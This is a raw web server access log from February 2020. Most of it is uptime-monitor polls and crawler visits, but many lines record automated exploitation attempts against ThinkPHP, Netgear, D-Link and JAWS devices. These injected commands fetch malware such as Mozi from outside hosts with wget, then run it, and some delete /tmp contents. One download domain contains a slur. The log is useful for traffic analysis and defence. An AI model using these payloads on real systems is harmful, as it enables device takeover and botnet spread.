41.67.87.85 - - [15/Feb/2020:23:19:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:23:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.173.35.57 - - [15/Feb/2020:23:22:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
119.196.108.183 - - [15/Feb/2020:23:22:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.229.80.36 - - [15/Feb/2020:23:22:58 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.229.80.36 - - [15/Feb/2020:23:22:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [15/Feb/2020:23:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.34.172.19 - - [15/Feb/2020:23:23:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:23:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.88.27.34 - - [15/Feb/2020:23:27:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:23:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.226.163.174 - - [15/Feb/2020:23:29:48 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
51.235.194.37 - - [15/Feb/2020:23:30:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [15/Feb/2020:23:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.139.187.145 - - [15/Feb/2020:23:31:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:23:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.94 - - [15/Feb/2020:23:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [15/Feb/2020:23:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.71 - - [15/Feb/2020:23:46:47 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.150.117 - - [15/Feb/2020:23:46:48 +0100] "GET /seiten/kontakt.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [15/Feb/2020:23:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.94 - - [15/Feb/2020:23:51:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [15/Feb/2020:23:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.90.238.134 - - [15/Feb/2020:23:52:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:23:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.52.137.28 - - [15/Feb/2020:23:56:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
195.88.209.6 - - [15/Feb/2020:23:56:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:23:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.88 - - [16/Feb/2020:00:01:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [16/Feb/2020:00:01:19 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [16/Feb/2020:00:01:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [16/Feb/2020:00:01:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
212.91.246.72 - - [16/Feb/2020:00:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.107.74.87 - - [16/Feb/2020:00:06:37 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [16/Feb/2020:00:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.136.204.172 - - [16/Feb/2020:00:07:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:00:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.49.187.144 - - [16/Feb/2020:00:11:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:00:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.251.232.166 - - [16/Feb/2020:00:13:33 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "mindUpBot (datenbutler.de)"
148.251.232.166 - - [16/Feb/2020:00:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "mindUpBot (datenbutler.de)"
212.91.246.72 - - [16/Feb/2020:00:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.208.110.78 - - [16/Feb/2020:00:16:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.144.31.245 - - [16/Feb/2020:00:17:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:00:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:00:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.180.167.150 - - [16/Feb/2020:00:21:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.244.32.59 - - [16/Feb/2020:00:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36"
95.5.40.117 - - [16/Feb/2020:00:25:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
14.102.68.174 - - [16/Feb/2020:00:25:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.212.89.95 - - [16/Feb/2020:00:31:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.9.44.244 - - [16/Feb/2020:00:31:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
177.54.88.114 - - [16/Feb/2020:00:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.84.43.202 - - [16/Feb/2020:00:35:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
24.231.59.87 - - [16/Feb/2020:00:37:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.85.91.19 - - [16/Feb/2020:00:44:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.90.247.110 - - [16/Feb/2020:00:48:06 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
85.90.247.110 - - [16/Feb/2020:00:48:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
85.90.247.110 - - [16/Feb/2020:00:48:07 +0100] "GET /scripts/app.js HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
85.90.247.110 - - [16/Feb/2020:00:48:07 +0100] "GET /umbraco/ HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
72.2.241.154 - - [16/Feb/2020:00:54:26 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://72.2.241.154:49217/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
211.214.19.125 - - [16/Feb/2020:00:54:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.27.187.117 - - [16/Feb/2020:00:57:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
208.114.149.10 - - [16/Feb/2020:01:02:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.26.18.75 - - [16/Feb/2020:01:05:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
73.33.112.155 - - [16/Feb/2020:01:06:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.97.100.10 - - [16/Feb/2020:01:06:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.226.88.36 - - [16/Feb/2020:01:09:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.11.139.30 - - [16/Feb/2020:01:11:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
62.31.85.225 - - [16/Feb/2020:01:15:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
34.85.116.56 - - [16/Feb/2020:01:16:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.203.1.24 - - [16/Feb/2020:01:19:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.40.250.105 - - [16/Feb/2020:01:23:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.227.162.19 - - [16/Feb/2020:01:25:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.237.23.142 - - [16/Feb/2020:01:25:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
35.240.197.20 - - [16/Feb/2020:01:26:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.128.241.71 - - [16/Feb/2020:01:36:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [16/Feb/2020:01:36:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
14.102.68.174 - - [16/Feb/2020:01:36:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.128.241.71 - - [16/Feb/2020:01:36:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [16/Feb/2020:01:37:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
120.194.37.200 - - [16/Feb/2020:01:41:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
191.242.169.171 - - [16/Feb/2020:01:41:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.189.208.61 - - [16/Feb/2020:01:43:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
200.35.34.42 - - [16/Feb/2020:01:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
114.40.241.39 - - [16/Feb/2020:01:51:33 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
